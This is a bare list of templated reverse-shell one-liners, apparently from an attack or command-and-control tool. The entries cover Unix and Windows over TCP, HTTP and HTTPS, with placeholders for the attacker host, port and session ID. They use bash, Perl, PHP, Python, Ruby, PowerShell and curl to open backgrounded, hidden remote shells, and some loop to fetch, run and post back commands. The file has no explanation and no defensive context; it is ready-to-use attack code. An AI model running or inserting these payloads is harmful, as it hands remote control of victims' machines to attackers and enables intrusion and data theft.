UNIX
TCP
nohup `exec 5<>/dev/tcp/{host_name}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done` &
UNIX
TCP
perl -e 'use Socket;$i="{host_name}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
UNIX
TCP
nohup php -r '$sock=fsockopen("{host_name}",{port});passthru("bash <&3 >&3 2>&3");' 3<>/dev/tcp/{host_name}/{port} > /dev/null 2>&1 & disown
UNIX
TCP
nohup php -r '$sock=fsockopen("{host_name}",{port});popen("bash <&3 >&3 2>&3", "r");' 3<>/dev/tcp/{host_name}/{port} > /dev/null 2>&1 & disown
UNIX
TCP
export hname="{host_name}"; export portno={port}; nohup python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("hname"),int(os.getenv("portno"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' > /dev/null 2>&1 & disown
UNIX
TCP
nohup python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host_name}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' > /dev/null 2>&1 & disown
UNIX
TCP
nohup ruby -rsocket -e'exit if fork;c=TCPSocket.new("{host_name}","{port}");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}' > /dev/null 2>&1 & disown
UNIX
TCP
nohup ruby -rsocket -e 'spawn("bash",[:in,:out,:err]=>TCPSocket.new("{host_name}",{port}))' > /dev/null 2>&1 & disown
Win
TCP
Start-Process $PSHOME\powershell.exe -ArgumentList {$TCPClient = New-Object Net.Sockets.TCPClient('{host_name}', {port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String);$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()} -WindowStyle Hidden
Win
TCP
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['powershell.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('{host_name}',{port}));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)',globals())).start()"
*
HTTP
nohup bash -c 's={host_name}&&i={session_id}&&hname=$(hostname)&&p=http://;curl -s "$p$s/$i/$hname/$USER" -H "Authorization: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/$i" -H "Authorization: $i")&&if [ "$c" != None ]; then r=$(eval "$c" 2>&1)&&echo $r;if [ $r == byee ]; then pkill -P $$; else curl -s $p$s/$i -X POST -H "Authorization: $i" -d "c=$c&r=$r";echo $$;fi; fi; sleep 1; done;\' & disown
*
HTTPS
nohup `s={host_name}&&i={session_id}&&hname=$(hostname)&&p=https://;curl -s -k "$p$s/$i/$hname/$USER" -H "Authorization: $i" -o /dev/null 2>/dev/null;while :; do c=$(curl -s -k "$p$s/$i" -H "Authorization: $i" 2>/dev/null);if [ "$c" != None ]; then r=$(eval "$c")&&if [ $r == byee ]; then pkill -P $$; else curl -s -k $p$s/$i -X POST -H "Authorization: $i" -d "c=$c&r=$r" 2>/dev/null; fi; fi; sleep 1; done;` &